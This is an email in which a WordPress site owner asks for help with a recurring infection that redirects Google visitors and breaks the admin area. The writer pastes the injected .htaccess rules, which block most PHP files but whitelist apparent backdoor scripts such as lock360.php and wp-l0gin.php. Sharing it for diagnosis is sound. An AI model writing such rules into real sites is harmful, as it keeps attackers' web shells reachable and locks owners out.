Hey Chris,
hope you are well.
I have just found out that its not redirecting from my office computer, but its redirecting from my phone.
I suspect you are not seeing the problem because of caching.
every night i am fixing the htaccess file from ezoic sftp and the malicious code is coming back in the htaccess file the next day, I think google has taken the cache from when I fixed the htaccess (the redirect only happens when coming from google, normal links wont redirect),
but I am sure the malware is there.
When the malicious code is in the htaccess, i can not even login to the admin, if i login to the admin, it can not get the css, and sometimes when it gets the css, no link in the admin works, says it forbidden to view this page, and if i try to go to the wordfence, wordfence asks to configure, and when i try to configure, it says loading and then nothing happens.
I have tried sucuri, wordfence, all in one wordpress security, ithemes security, shield, etc, nothing works.
I have tried to delete everything except wp-content folder and install wordpress again, but it doesnt work also
the malicious code gets back again and again.
I am pasting the code from htaccess file here. can you please have a look?
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch "^(index.php|lock360.php|wp-l0gin.php|wp-the1me.php|wp-scr1pts.php|wp-admin.php|radio.php|content.php|about.php|wp-login.php|admin.php|mah.php|jp.php|ext.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>